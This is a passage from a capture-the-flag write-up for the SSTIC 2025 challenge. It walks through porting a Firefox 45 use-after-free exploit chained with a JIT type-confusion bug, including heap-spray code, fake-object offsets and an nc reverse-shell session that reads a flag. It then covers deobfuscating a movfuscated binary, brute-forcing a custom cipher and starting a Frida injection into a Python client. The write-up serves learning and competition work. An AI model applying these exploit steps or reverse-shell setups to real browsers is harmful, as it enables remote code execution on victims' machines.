51 // [...]
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52 }
53

54 worker.onmessage = function(e) {arrBase=object_target_address; exploit()}
55

56 var trigger = function(){
57 // Some SVG magic that triggers the UAF
58 // [...]
59 }
60

61 window.onload = trigger;

The different steps of the exploit are the following:

1. Spray ASM.JS JIT modules
2. Spray fake objects in the heap
3. Trigger the UAF
4. Play with the freed object to trigger a certain code path and hijack control flow

There are two hardcoded addresses in this 32-bit version:

• object_target_address: the hypothesis for the fake heap object address that has been
sprayed

• jit_payload_target: the hypothesis for the shellcode address

There is also a hardcoded offset, which value is 0x88. This is a relative offset to arrBase (which is
object_target_address). We also observe that the value arrBase - offset is placed at specific
offsets inside the u32 array, which is used to ultimately achieve control flow hijacking through a virtual
call. Now, if we replace lines 45-47 with the following:

u32[0x4] = 0;
u32[0xa] = 0;
u32[0x10] = 0;

...we notice that the browser will crash on the following instruction, where rcx equals 0x110:

mov eax, dword ptr ds:[rcx+D8]
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We therefore understand that, at some point, one of these values inside the u32 array was read and
added to a constant (0x110) to derive the address of a new object. Note how 0x110= 0x88×2: we can
probably adapt this part of the PoC by changing offset to 0x110 (which would make sense going
from 32-bit to 64-bit structures), to make rcx point to the fake heap object.

Moreover, if we also write values in u32[0x4+1], u32[0xa+1] and u32[0x10+1], we observe that
we can control rcx as a full 64-bit pointer, which allows to reference a valid heap address on our
environment (assuming, again, that we can predict such an address).

Now, let’s take a closer look at the “heap spray” part of the exploit.

1 var heap = []
2 var current_address = 0x08000000
3 var block_size = 0x1000000
4 while(current_address < object_target_address){
5 var heap_block = new Uint32Array(block_size/4 - 0x100)
6 for (var offset = 0; offset < block_size; offset += 0x100000){
7 /* fake object target = ecx + 0x88 and fake vtable*/
8 heap_block[offset/4 + 0x00/4] = object_target_address
9 /* self + 4 */

10 heap_block[offset/4 + 0x14/4] = object_target_address
11 /* the path to EIP */
12 heap_block[offset/4 + 0x18/4] = 4
13 heap_block[offset/4 + 0xac/4] = 1
14 /* fake virtual function --> JIT target */
15 heap_block[offset/4 + 0x138/4] = jit_payload_target
16 }
17 heap.push(heap_block)
18 current_address += block_size
19 }

Each fake object is crafted with specific values at specific offsets (0x00, 0x14, 0x18, 0xac, 0x138).
Some of these values allow reaching a specific code path to hijack the control flow. The first offset (0x00)
is the offset to the vtable pointer inside the object: this vtable pointer is replaced with the address of the
object itself, so that it can be confused with a vtable. The last offset (0x138) stores the pointer that we
will be able to control rip with, because when a certain virtual call is performed inside the code path,
the method at this offset will be called.

By carefully debugging the exploit, we can figure that in order to port the exploit to Firefox 45 on
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64-bit, we have to adjust the offsets to respectively 0x00, 0x28, 0x30, 0xd8, and 0x268. We also
observe that again, we can store 64-bit values at these offsets to make the exploit work with 64-bit heap
addresses.

We now have a working exploit that allows to control rip, and we also basically know how to
conclude the exploit by jumping to a jitted shellcode. The last thing we need, as seen earlier, is to
overcome ASLR by leaking the upper bits of any heap address. At this point, I do not understand the
SMIL bug enough to know if a leak primitive can be derived from it, and I figure it would take too much
time to really dive into its internals. Therefore, I decide to look for another bug to chain this one with.

=

I spent some more time skimming through bug reports looking for a leak, but I had a hard time
finding anything useful. It seems that people back then didn’t really care for memory leak bugs, since
32-bit address spaces were easily sprayable.

After a night of sleep and mentioning the challenge to a colleague, I decided to look into slightly
more recent bugs (e.g. 2018-2019 instead of 2016-2017). A lot of these do not work on Firefox
45 (because they target newer features and code), but I eventually found out about CVE-2019-9791,
which happens to crash my example program.

CVE-2019-9791 is a JIT optimization bug found by Samuel Groß (again) targeting IonMonkey, Fire-
fox’s JIT compiler in the SpiderMonkey JS engine. It was fixed in Firefox 66, but as mentioned in the
associated Bugzilla discussion, it actually dates back to a change in 2015, hence Firefox 45 is also
vulnerable!

The provided PoC turns this bug into a type confusion that can be abused to gain read/write
primitive. This bug alone would surely be enough to solve the challenge, however, for some reason, I
was not able to immediately adapt the addrof primitive to the target. Since I wanted to quickly finish
this step, I did not spend time understanding the internals of the objects involved in the type confusion
(e.g. ArrayBuffer). Indeed, the PoC pretty much giving a drop-in read/write primitive, I decided to
chain it with the previous one.

More particularly, the PoC directly gives a leak of a heap address, and therefore of the upper
nibbles we need to make the earlier exploit work. For instance, as seen in figure 11, if we read the first
two entries of the driver array (Uint32Array), we leak a heap address: 0x1433fbf6a60. The second
entry of the array (driver[1]) stores the upper bits of the address that we need!
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Figure 11: Leaking heap memory with CVE-2019-9791

We still have one problem left: although we can spray JIT pages for our shellcode easily in 64-bit
because of the VirtualAlloc alignment, spraying fake heap objects will be much harder, and hardcoding
two address guesses in the exploit will probably impact reliability.

To address this issue, it would be better to hardcode a single address guess, and therefore, put the
fake heap object inside the JIT page as well. We can achieve this dynamically using the write primitive.
The steps for the final exploit are now the following:

1. Use CVE-2019-9791 to leak the upper bits of heap addresses and derive an arbitrary write primitive
2. Spray ASM.JS JIT modules
3. Use the leak to make a hypothesis for a valid JIT page address
4. Use the write primitive to write the fake heap object in the JIT page
5. Use the write primitive to write a shellcode in the JIT page (more flexible than writing it through

JIT-emitted constants)
6. Use CVE-2016-9079 to achieve code execution

This bug chain is ultimately not very elegant, since we could have probably used CVE-2019-9791 on its
own to achieve code execution. I overkilled it a bit, but it’s a valid solution and that’s what I came up
with in a limited timeframe. The full exploit for this step is available in appendix A.1.

I used Meterpreter to generate a shellcode for a Windows remote shell, delivered the malicious HTML

32/80



SSTIC Challenge 2025 Valentino Ricotta

page and set up the TCP listener both using Serveo, and after 2 or 3 tries, the exploit landed on the
remote. We successfully gain a remote shell, and we are able to read the flag.

PS C:\Users\face0xff> .\nc.exe -lvp 1337
listening on [any] 1337 ...
Microsoft Windows [Version 10.0.17763.7009]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Chall\MySuperThickClient>dir
06/04/2025 21:49 <DIR> .
06/04/2025 21:49 <DIR> ..
06/04/2025 21:49 <DIR> Firefox
06/01/2018 04:09 1.957.376 Geckofx-Core.dll
06/01/2018 04:09 4.478.464 Geckofx-Core.pdb
06/01/2018 04:09 127.488 Geckofx-Winforms.dll
06/01/2018 04:09 241.152 Geckofx-Winforms.pdb
28/03/2025 00:52 186 SouperClient.config
28/03/2025 01:06 8.192 SouperClient.exe
28/03/2025 01:06 34.304 SouperClient.pdb
C:\Chall\MySuperThickClient>cd ..
C:\Chall>dir
08/04/2025 01:57 <DIR> .
08/04/2025 01:57 <DIR> ..
06/04/2025 21:45 55 flag.txt
06/04/2025 21:46 <DIR> FlagProvider
06/04/2025 21:44 <DIR> MFDProxy
06/04/2025 21:49 <DIR> MySuperThickClient
06/04/2025 21:46 403 TODO.txt
C:\Chall>type flag.txt
SSTIC{58e9ab359732a4a5408661470bb3bf34e9b8362c639f5b83}
C:\Chall>type TODO.txt
Pfiou, j'ai enfin fini ce flag provider, on approche de la fin.

TODO:
* Add IP blocklist in case of spam
* Ajouter un module de visualisation des flags rat.s c.t. admin
* Tester le flag provider, et l'ajout de flags en tant qu'admin
* Tester la feature d'obtention de l'email final
* Impl.menter le get d'email depuis le client lourd

(je ne sais pas si j'aurai le temps pour celui l. ...)
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6 Step 4: “Movfuscated”

In this last step, we are given step.elf, a Linux x64 static binary, and flag.enc, a seemingly
encrypted file with high entropy. The binary asks for a 16-byte passphrase and an input file to decrypt:

$ ./step.elf
usage(): ./step4 "[a-zA-Z0-9]^16" in.bin.enc out.bin

e.g. use a 16 [a-zA-Z0-9] characters passphrase
$ ./step.elf aaaaaaaaaaaaaaaa flag.enc out.bin
Hi my good wanderer °/ That is damn movfuscated
Thou shall Halt and Catch Fire /!\

It seems that we have to find the correct passphrase to decrypt flag.enc. Let’s open the binary
in IDA. For some reason, the start function cannot be decompiled, so we’ll look at the disassembly
instead. First, we can see that argv[1] is copied to a fixed memory location (0x479212), which I called
passphrase.

.text:0000000000401106 mov rsi, argv

.text:000000000040110E mov rsi, [rsi+8]

.text:0000000000401112 mov rdi, offset passphrase

.text:0000000000401119 mov al, [rsi]

.text:000000000040111B mov [rdi], al

.text:000000000040111D mov al, [rsi+1]

.text:0000000000401120 mov [rdi+2], al

.text:0000000000401123 mov al, [rsi+2]

.text:0000000000401126 mov [rdi+4], al

.text:0000000000401129 mov al, [rsi+3]

.text:000000000040112C mov [rdi+6], al

.text:000000000040112F mov al, [rsi+4]

.text:0000000000401132 mov [rdi+8], al

.text:0000000000401135 mov al, [rsi+5]

.text:0000000000401138 mov [rdi+0Ah], al

.text:000000000040113B mov al, [rsi+6]

.text:000000000040113E mov [rdi+0Ch], al

.text:0000000000401141 mov al, [rsi+7]

.text:0000000000401144 mov [rdi+0Eh], al

.text:0000000000401147 mov al, [rsi+8]

.text:000000000040114A mov [rdi+10h], al

.text:000000000040114D mov al, [rsi+9]
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.text:0000000000401150 mov [rdi+12h], al

.text:0000000000401153 mov al, [rsi+0Ah]

.text:0000000000401156 mov [rdi+14h], al

.text:0000000000401159 mov al, [rsi+0Bh]

.text:000000000040115C mov [rdi+16h], al

.text:000000000040115F mov al, [rsi+0Ch]

.text:0000000000401162 mov [rdi+18h], al

.text:0000000000401165 mov al, [rsi+0Dh]

.text:0000000000401168 mov [rdi+1Ah], al

.text:000000000040116B mov al, [rsi+0Eh]

.text:000000000040116E mov [rdi+1Ch], al

.text:0000000000401171 mov al, [rsi+0Fh]

.text:0000000000401174 mov [rdi+1Eh], al

Note that the passphrase’s bytes are copied to even indices (rdi, rdi+2...), so there’s a null
byte between each character. Then, the input file is opened and memory-mapped to a fixed address
(0xCAFE0000):

.text:0000000000401257 mov rdi, 0CAFE0000h

.text:0000000000401261 mov rsi, offset input_file_size

.text:0000000000401268 mov rsi, [rsi]

.text:000000000040126B mov rdx, 1

.text:0000000000401272 mov rcx, 12h

.text:0000000000401279 mov r8, input_fd

.text:0000000000401281 xor r9, r9

.text:0000000000401284 call mmap

Likewise, the output file is opened and memory-mapped to 0x42420000. Finally, the function check

(0x4014FD) is called: if r8 is equal to 0xACED once it returns, then we apparently won.

.text:00000000004013C5 mov r15, 0

.text:00000000004013CC call check

.text:00000000004013D1 cmp r8, 0ACEDh

.text:00000000004013D8 jz short loc_4013E4

.text:00000000004013DA mov success, 0

.text:00000000004013E2 jmp short loc_4013EC

.text:00000000004013E4

.text:00000000004013E4 loc_4013E4: ; CODE XREF: start+347↑j
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.text:00000000004013E4 mov success, 1

.text:00000000004013EC

.text:00000000004013EC loc_4013EC: ; CODE XREF: start+351↑j

.text:00000000004013EC jmp loc_40100D

The check function is very lengthy (around 500 KB), and IDA won’t decompile it either. It starts with
a small stub that sets up signal handlers, and then all the following instructions are mov instructions.

.text:00000000004014FD check: ; CODE XREF: start+33B↑p

.text:00000000004014FD mov rdi, 0Bh

.text:0000000000401504 lea rsi, sigsegv_handler

.text:000000000040150C call signal

.text:0000000000401511 mov saved_rsp, rsp

.text:0000000000401519 mov rdi, 4

.text:0000000000401520 lea rsi, sigill_handler

.text:0000000000401528 call signal

.text:000000000040152D

.text:000000000040152D sigill_handler: ; DATA XREF: .text:0000000000401520↑o

.text:000000000040152D mov rsp, saved_rsp

.text:0000000000401535 mov eax, 1

.text:000000000040153A mov r8, offset qword_4D0790

.text:0000000000401541 mov [r8+r15*8], rax

.text:0000000000401545 mov rax, 0

.text:000000000040154C mov r8, offset unk_4D0770

.text:0000000000401553 mov [r8+r15*8], rax
[...]

The binary has most likely been obfuscated with movfuscator (or a modified version of it). Mov-
fuscator is a tool written by Christopher Domas which compiles a program into a sequence of mov
instructions. It legitimately obfuscates arithmetic and branching logic, without any self-modifying code.
However, it’s a bit old (2015) and seems to be implemented only for 32-bit binaries.

I found a deobfuscator1, but couldn’t make it work, probably because it only works for 32-bit targets.
I figured that rewriting the tool to make it work on 64-bit targets would take too long, therefore I decided
to deobfuscate the binary from scratch. There’s a bachelor thesis2 associated with demovfuscator which
gives valuable insight on how the obfuscation works, for instance how branching is implemented and how

1https://github.com/leetonidas/demovfuscator
2https://kirschju.re/docs/jonischkeit-2016-demovfuscator.pdf
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there are lookup tables for operations such as addition, subtraction, bitwise logic, etc.
Two signal handlers are registered: a SIGSEGV handler which will basically restore the saved RSP and

use retn, allowing to return from the check function, and a SIGILL handler which is 0x40152D (the start
of the movfuscated routine). This means that encountering an illegal instruction allows redirecting
the control flow back to the start, essentially implementing a loop. Such an illegal instruction is found
at the very end of the movfuscated routine.

The approach I used was to dump the whole disassembly of the movfuscated routine, and im-
plement a basic Python lifter that works on the disassembly text. It takes the original disassembly
as input, goes through it to identify high-level patterns (such as arithmetic operations) and outputs a
new “lifted” disassembly. By repeating this process, gradually understanding what the program does and
identifying new patterns, I was able to refine the lifter until the disassembly dropped from around 100k
instructions to 6000 lines of code, which is easier to understand.

Here is an example of pattern that the lifter may identify, to illustrate how it works. The following
code performs the addition of two qwords, pointed to by r8 and r9, and stores the result to the
location pointed to by r10 (so here, it is basically equivalent to qword_479330 *= 2).

; Initialize sources and destination
.text:0000000000401578 mov rax, 0
.text:000000000040157F mov rbx, rax
.text:0000000000401582 mov rcx, rax
.text:0000000000401585 mov rdx, rax
.text:0000000000401588 mov r8, offset qword_479330
.text:000000000040158F mov r9, offset qword_479330
.text:0000000000401596 mov r10, offset qword_479330

; Add byte number 0
.text:000000000040159D mov al, [r8+r15*8]
.text:00000000004015A1 mov bl, [r9+r15*8]
.text:00000000004015A5 mov rsi, offset add_carry_table
.text:00000000004015AC mov rsi, [rsi+rcx*8]
.text:00000000004015B0 mov dl, [rsi+rax]
.text:00000000004015B3 mov rsi, offset add_table
.text:00000000004015BA mov rsi, [rsi+rcx*8]
.text:00000000004015BE mov al, [rsi+rax]
.text:00000000004015C1 mov rsi, offset add_carry_table
.text:00000000004015C8 mov rsi, [rsi+rax*8]
.text:00000000004015CC mov cl, [rsi+rbx]
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.text:00000000004015CF mov rsi, offset add_table

.text:00000000004015D6 mov rsi, [rsi+rax*8]

.text:00000000004015DA mov al, [rsi+rbx]

.text:00000000004015DD mov rsi, offset add_table

.text:00000000004015E4 mov rsi, [rsi+rcx*8]

.text:00000000004015E8 mov cl, [rsi+rdx]

.text:00000000004015EB mov [r10+r15*8], al

; [...]

; Add byte number 7
.text:00000000004017ED mov al, [r8+r15*8+7]
.text:00000000004017F2 mov bl, [r9+r15*8+7]
.text:00000000004017F7 mov rsi, offset add_carry_table
.text:00000000004017FE mov rsi, [rsi+rcx*8]
.text:0000000000401802 mov dl, [rsi+rax]
.text:0000000000401805 mov rsi, offset add_table
.text:000000000040180C mov rsi, [rsi+rcx*8]
.text:0000000000401810 mov al, [rsi+rax]
.text:0000000000401813 mov rsi, offset add_carry_table
.text:000000000040181A mov rsi, [rsi+rax*8]
.text:000000000040181E mov cl, [rsi+rbx]
.text:0000000000401821 mov rsi, offset add_table
.text:0000000000401828 mov rsi, [rsi+rax*8]
.text:000000000040182C mov al, [rsi+rbx]
.text:000000000040182F mov rsi, offset add_table
.text:0000000000401836 mov rsi, [rsi+rcx*8]
.text:000000000040183A mov cl, [rsi+rdx]
.text:000000000040183D mov [r10+r15*8+7], al

Note how there are two lookup tables (which I named add_table and add_carry_table) to perform
this operation one byte at a time. For instance, add_table is a double entry table such that:

add_table[i ][ j ] = i + j mod 256

The add_carry_table allows propagating the carry of each byte addition. In the end, such patterns
may be lifted like this, transforming 151 lines of disassembly into a single line of code:
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if all([
"mov rax, 0" in s(lines[i]),
"mov rbx, rax" in s(lines[i + 1]),
"mov rcx, rax" in s(lines[i + 2]),
"mov rdx, rax" in s(lines[i + 3]),
"mov r8, " in s(lines[i + 4]),
"mov r9, " in s(lines[i + 5]),
"mov r10, " in s(lines[i + 6]),

]):
src1 = lines[i + 4].split("offset ")[1]
src2 = lines[i + 5].split("offset ")[1]
dst = lines[i + 6].split("offset ")[1]

if "add_carry_table" in s(lines[i + 9]) and "add_table" in s(lines[i + 12]):
# ...
lifted = f"mov [{dst}], [{src1}] + [{src2}] ; qword add"
out.append(lifted)
i += 151
continue

As we just saw, there are local variables that are stored at fixed locations in the data section:
qword_479330 was one of these local variables, used in the previous addition example. The code also
often uses these local variables as sometimes redundant intermediary values, which is probably just a
byproduct of the obfuscation process. We can try simplifying such patterns in our lifter:

if all([
"mov r8, offset " in s(lines[i]),
"mov rax, 0" in s(lines[i + 1]),
"mov [r8+8], rax" in s(lines[i + 2]),
"mov rax, [r8+r15*8]" in s(lines[i + 3]),
"mov r8, offset " in s(lines[i + 4]),
"mov [r8+r15*8], rax" in s(lines[i + 5]),

]):
src = s(lines[i]).split("offset ")[1]
dst = s(lines[i + 4]).split("offset ")[1]
lifted = f"mov [{dst}], [{src}]"
out.append(lifted)
i += 6
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continue

We also implement lifting logic for operations such as and, xor, or, cmp and various types of mov
instructions. The final code for the lifter can be found in appendix A.2. It’s a bit messy, but my point
is that you can often hack your way through by coming up with a quick and dirty script that simply
processes text — of course, it would be nicer to have a more generic deobfuscator that leverages proper
static analysis.

Now, all there is left to do is to reverse the lifted code. It’s not that bad as long as it only involves
understanding arithmetic or boolean operations and comparisons, but the hard part is understanding
the control flow of the program. Indeed, since everything is mov, all instructions have to be executed
linearly; there’s no way to really avoid executing a certain block of instructions. Instead, the obfuscator
uses the r15 register to encode whether an operation should be performed “for real” or not. For instance,
we saw the following pattern in the qword addition:

.text:000000000040159D mov al, [r8+r15*8]

.text:00000000004015A1 mov bl, [r9+r15*8]
; [...]
.text:00000000004015EB mov [r10+r15*8], al

If r15 = 0, then the sources for the addition will be [r8] and [r9], and the destination [r10].
But if r15 = 1, then the sources will be [r8 + 8] and [r9 + 8], and the destination [r10 + 8].
Basically, all memory locations for local variables are doubled: for a given local variable, there’s
the “real memory location”, and there’s a “dummy one” that allows to spill the results of potential
computations that are supposed to be ignored (that’s why, if you remember, the passphrase was stored
every two bytes in the destination buffer).

Thankfully, the program’s control flow is not too complex; it’s mostly fixed-size loops or “obvious”
loops (such as iterating on the input file’s bytes). In certain parts where it was a bit hard to comprehend,
I leveraged some dynamic analysis with gdb. Conditional breakpoints were especially helpful, because
although an instruction at a specific address may be executed many times, we can ask gdb to break on
it when it is executed “for real” (when r15 = 0). For instance:

b *0x000000000046F6F2
condition 1 $r15==0
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In the end, we are able to lift the logic for the whole first part of the program to the following:

magic2 = bytes.fromhex("bb6046134edf550103ed910c35")
magic3 = bytes.fromhex("69fbe1ace6ace89c6c450682aa")

x = 1
for i in range(13):

if i < 8:
x &= (passphrase[i] + magic3[i]) & 0xFF == magic2[i]

else:
x &= ((passphrase[i] ^ 0xFF) + magic3[i] + 1) & 0xFF == magic2[i]

assert(x == 1)

We easily solve these constraints, which gives "Reegh3meiXuvu". However, this is only 13 char-
acters: we are missing the last three! Indeed, we can supply any passphrase that starts with these
characters as it will pass the check and decrypt the file, but the output will be garbage because the
passphrase is not fully correct. Moreover, decryption is awfully slow, so we can’t just bruteforce the
remaining characters: we have no choice but to reverse the rest of the program to understand how
the decryption routine works.

After a few hours of reversing and debugging, we are eventually able to reimplement the decryption
algorithm in Python. It’s a custom block cipher running in OFB mode (output feedback), as described
in figure 12.

Figure 12: Output feedback (OFB) mode decryption (Block cipher mode of operation, Wikipedia).

The initialization vector is zero, and the encryption function is the following, where blob1 and blob3 are
arrays of magic constant bytes, and round_keys are round keys which are derived from the passphrase.
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def encrypt(block):
stream = block[:]
for k in range(32):

stream_ = [0] * 16
for i in range(16):

stream_[blob3[16 * k + i]] = stream[i] ^ stream[blob3[16 * k + i]]
stream = stream_
stream = [blob1[0x100 * k + stream[i]] for i in range(16)]
stream = [stream[i] ^ round_keys[16 * k + i] for i in range(16)]

return stream

It is worth noting that although the round keys are initially derived from the 13 first bytes of the
passphrase for the first 5 blocks of the ciphertext, they are then updated with the last three bytes of the
passphrase for the next blocks. This means that we can decrypt the first blocks of the encrypted file,
which gives the following:

We have a story to tell through this file and this is going to take forever ....

...but we need the last characters of the passphrase in order to decrypt the following blocks. Thus, I
bruteforced the last three characters and for each passphrase candidate, I decrypted the sixth block:

1 # Compute round keys for the first 5 blocks
2 passphrase = b"Reegh3meiXuvu___"
3 initial_round_keys = bytearray(blob2[:])
4 for i in range(32):
5 for m, n in zip([0x0, 0x1, 0x2, 0x3], [0x0, 0x4, 0x8, 0xc]):
6 initial_round_keys[0x10 * i + n] ^= passphrase[m]
7

8 # Skip the first 5 blocks to update stream
9 stream = [0] * 16

10 for block in range(5):
11 for k in range(32):
12 stream_ = [0] * 16
13 for i in range(16):
14 stream_[blob3[16 * k + i]] = stream[i] ^ stream[blob3[16 * k + i]]
15 stream = stream_
16 stream = [blob1[0x100 * k + stream[i]] for i in range(16)]
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17 stream = [stream[i] ^ initial_round_keys[16 * k + i] for i in range(16)]
18

19 stream_save = stream[:]
20

21 # Bruteforce the 6th block
22 for c1, c2, c3 in product("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",

repeat=3):,→

23 passphrase = ("Reegh3meiXuvu" + c1 + c2 + c3).encode()
24

25 # Update round keys with last passphrase characters
26 round_keys = initial_round_keys[:]
27 for i in range(32):
28 for m, n in zip([0xd, 0xe, 0xf, 0xf], [0x1, 0x5, 0x9, 0xd]):
29 round_keys[0x10 * i + n] ^= passphrase[m]
30

31 # Decrypt 6th block
32 stream = stream_save[:]
33 for k in range(32):
34 stream_ = [0] * 16
35 for i in range(16):
36 stream_[blob3[16 * k + i]] = stream[i] ^ stream[blob3[16 * k + i]]
37 stream = stream_
38 stream = [blob1[0x100 * k + stream[i]] for i in range(16)]
39 stream = [stream[i] ^ round_keys[16 * k + i] for i in range(16)]
40

41 out = xor(stream, encrypted[16 * 5:16 * 5 + 16])
42 print(passphrase, out)

I ran the bruteforce with PyPy1, which took about 10 minutes. The binary actually implements a
check once the whole file is decrypted: it xors all the decrypted blocks together, and compares the result
to a magic constant. However, since we can’t decrypt all the blocks because it would take too long, we
don’t actually have a “stop” condition for the bruteforce. Therefore, I output all the results to a 20 MB
file and skimmed through them manually.

At first, I tried grepping for obvious cribs such as “flag”, “SSTIC” or magic file headers, but that
didn’t work. Eventually, I stumbled upon a very suspicious plaintext candidate full of spaces, in
the middle of all this garbage:

1https://pypy.org/
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[...]
b'Reegh3meiXuvu7rd' b'\n G!sG\x88\x1d\x88\xd8\x1d\xbf\xf9p\xdbu'
b'Reegh3meiXuvu7re' b'\n '
b'Reegh3meiXuvu7rf' b'Oo8^\xb98\x009\xeb^\x99S\xfe\xeek<'
[...]

We found the correct passphrase: "Reegh3meiXuvu7re". Now, we could either supply that to the
original binary and wait for it to decrypt the whole file (which takes some time), or we can simply use our
Python reimplementation of the decryption algorithm. Figure 13 shows the decrypted file, containing
the flag (or at least half of it).

Figure 13: The decrypted file.

We can now conclude step 4 by sending this flag half to the challenge operator using the thick client,
who answers with the full flag:

SSTIC{21c66b2c691438c8a99b33e28c1cd5f42009468d3c68d701}
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7 Epilogue

Now that we have gathered all the flags, we can submit them using the thick client. Figure 14 shows
all the flags that were submitted with the account I used. As it is customary in every SSTIC challenge,
the final step is to find a validation email. The thick client does have a “Get email” menu entry, but
when we click on it, we are greeted with the message shown in figure 15.

Figure 14: “Current flags” view in the thick client. Figure 15: “Get email” view in the thick client.

This suggests that the goal of this final step is to reimplement the “Get email” feature in order
to retrieve the validation email. Now, in past editions of the SSTIC challenge, this final step is usually
a very easy one, much in contrast with the steps before. Hence, I naturally started looking for “easy”
solutions to the problem.

The first idea that came to my mind is that the client may already implement the request to the
server, but doesn’t show the server’s response. I ran Wireshark to see the packets that are exchanged
between the client and the server, but unfortunately, it looks like we are facing a custom protocol with
an encrypted layer. Moreover, there’s not much activity going on when we click “Get email”, so there’s
probably not even a request being made in the first place. Figure 16 shows that we only see small packets
being exchanged, which rather look like keepalive packets.

Figure 16: Example of TCP packets exchanged between the client and the server.
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It looks like we need to go deeper and start reversing the client (main_windows.exe). According to
the message printed when we run the binary (pygame 2.6.1 (SDL 2.28.4, Python 3.11.9)), the
client depends on Pygame and was probably packaged with a tool such as py2exe or pyinstaller.

Many tools allow extracting compiled Python files (.pyc) from such binaries. The one I used is
EXE2PY-Decompiler. The extracted files include a lot of uninteresting dependencies from all sorts of
libraries, but a few folders grab our attention (figure 17). In particular, the basic_client folder contains
client-specific logic and GUI components, and there are also a few folders that feature client/server
common logic (such as common_network).

Figure 17: Interesting folders in the file tree that was extracted from the client.

However, when we start opening the decompiled files in any of these folders, a gruesome sight awaits
us: all the sources are obfuscated with Pyarmor 8.5.12 (see figure 18). A quick search points towards
PyArmor-Unpacker, but it’s a bit old and does not support PyArmor v8.

Now, we can very well import the obfuscated files dynamically from within a Python console, and try
introspecting stuff (using dir()). This allows listing objects such as classes, functions and enums (e.g.
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Figure 18: Decompiling the client’s sources reveals Pyarmor obfuscation.

command types), but it’s not enough to understand the actual logic behind it all.
With a bit more research, we find a blog post titled Unpacking Pyarmor v8+ scripts, which gives

interesting insight. Basically, Pyarmor-protected files will import the __pyarmor__ function, which is
exported by the native library pyarmor_runtime.pyd. Without going too much in detail, this library
embeds a key derivation algorithm and routines to decrypt the bytecode. Static unpacking can thus be
achieved by computing the key, decrypting all the files and (optionally) decompiling them. I eventually
found a tool which does exactly all that called Pyarmor-Static-Unpack-1shot (for which the Pyarmor
v8+ support seems quite recent).

Decompilation, unfortunately, is quite buggy: the tool is based on pycdc, which does not
implement some opcodes that Pyarmor specifically uses. More generally, it looks like there aren’t really
any effective Python 3.10+ bytecode decompilers out there (as of writing this). As a result, the vast
majority of decompiled functions actually look like the following, and we probably can’t get anything
really better:

def received_from_challenge_provider(command, authenticated_peer):
pass

# WARNING: Decompyle incomplete

Therefore, for most of the reversing part, we have no choice but to rely on the bytecode disas-
sembly. A few enums are decompiled apparently correctly though, as this one:
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class FlagCommandType(Enum):
'__pyarmor_enter_43436__(...)'
CheckValidFlag = 1
FlagSuccess = 2
FlagFailure = 3
ConfirmedFlags = 4
ConfirmedFlagsFor = 5
TopPlayers = 6
AllPublic = 7
PublicFlagsAnswer = 8
FinalEmail = 10
FinalEmailSuccess = 11
FinalEmailFailure = 12
UpdateFlag = 20
SetFlagsForEmail = 21
GetFlagsOrder = 22

The command types FinalEmail and FinalEmailSuccess are especially interesting. We can guess
the former is sent by the client to ask for the final email, and the latter is the server’s response, as we
can see in basic_client/flag_context/listen_on_flag_commands.py:

280 LOAD_GLOBAL 18: FinalEmailSuccess
292 LOAD_CONST 4: ()
294 MATCH_CLASS 0
296 COPY 1
298 POP_JUMP_FORWARD_IF_NONE 27 (to 354)
300 UNPACK_SEQUENCE 0
304 POP_TOP
306 LOAD_GLOBAL 3: NULL + show_success_dialog
318 LOAD_CONST 12: 'Oh you repaired this client, was not expected

but congrats you deserve it: '
320 LOAD_FAST 0: command
322 LOAD_ATTR 10: SSTICEmail
332 FORMAT_VALUE 0 (FVC_NONE)
334 BUILD_STRING 2
336 PRECALL 1
340 CALL 1

So in the end, the thick client does implement the success dialog that prints the final email
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in case a FinalEmailSuccess is received. The only thing truly missing is the FinalEmail request to
the server. Its structure appears to be the following:

class FinalEmail(FlagCommand):
'__pyarmor_enter_43757__(...)'
HashForEmails: bytes = FlagCommandType.FinalEmail

We can see it takes some kind of hash as parameter (HashForEmails), but we can’t find any related
logic inside the client — it’s probably not implemented at all. When I saw this, my first thought was
that if we manage to send this command, the server will answer a FinalEmailFailure with an error
message that says why the parameter was wrong, and this could give a hint regarding what to send
exactly. Therefore, my first goal was to be able to send a FinalEmail message to the server.

In order to understand how messages are sent to the server, I looked at another command with
the same “type”: CheckValidFlag. This message is sent when we submit a flag. We can derive the
following logic by reversing the bytecode in basic_client/flag_graphical/flag_modal.py:

with flag_channel() as send_to_flag_provider:
salt = random_string(16).encode()
hashed = sha256(sha256(flag).digest() + salt).digest()
send_to_flag_provider.send(CheckValidFlag(

CustomSalt = salt,
HashedFlagHash = hashed,
CleartextFlag = flag,
SuccessPseudo = pseudo_var,

))

What’s interesting for us here is this “provider” abstraction. The flag_channel function is basi-
cally equivalent to get_current_multiplexer().secure_channel_to(FLAG_PROVIDER). As seen in
this enum, there are several “providers”:

class ProviderID(Enum):
'__pyarmor_enter_44054__(...)'
MASTER = 1
ROUTING_PROVIDER = 2
IDENTITY_PROVIDER = 3
CERTIFICATE_PROVIDER = 4

49/80



SSTIC Challenge 2025 Valentino Ricotta

CHAT_PROVIDER = 10
LUAGAME_PROVIDER = 11
FLAG_PROVIDER = 12
MEDIA_PROVIDER = 13
CHALLENGE_PROVIDER = 14
STEP2_OPERATOR = 4916
OPERATOR = 4917
ADMIN = 4918
CHALLENGE_FINISHER = 4919
ANY = 65533
BAD_PROVIDER = 65534
ANONYMOUS = 65535

We’re not sure exactly what a “provider” is yet, but essentially, what we would like to do is send a
FinalEmail message to the flag provider. In order to do that, I thought of two ways:

1. Reimplement the initialization by importing components of the protocol that are already imple-
mented, but we have to find which ones and how to use them, which involves quite some more
reversing and the protocol looks complicated.

2. Leverage the fact that everything’s already initialized with our account when the thick client is
running. We don’t have to think about any of it works: we can just try injecting ourselves in the
thick client and run some Python code in its context.

I chose to give (2) a try, and eventually got a little bit unconventional — but working — injection
technique with Frida. The idea is to call the CPython function PyRun_SimpleString to eval Python
code from a string. However, we need to call this function in a particular context. I chose to hook
a function that is often called by the Python runtime (PyFunction_New). Note that there are several
threads in the target process that run Python, therefore to make sure we run our code in the “correct”
context, we do it for each thread. The Frida hook to inject into the thick client’s process is the following:

1 const seen_threads = [];
2 const valid_threads = Process.enumerateThreads().map((t) => t.id);
3

4 const pyRunSimpleString = Module.findExportByName(null, "PyRun_SimpleString");
5 const PyRun_SimpleString = new NativeFunction(pyRunSimpleString, 'int', ['pointer'], "win64");
6

7 const dummy = Module.getExportByName(null, 'PyFunction_New');
8

50/80



SSTIC Challenge 2025 Valentino Ricotta

9 Interceptor.attach(dummy, {
10 onLeave: function (retval) {
11 const tid = Process.getCurrentThreadId();
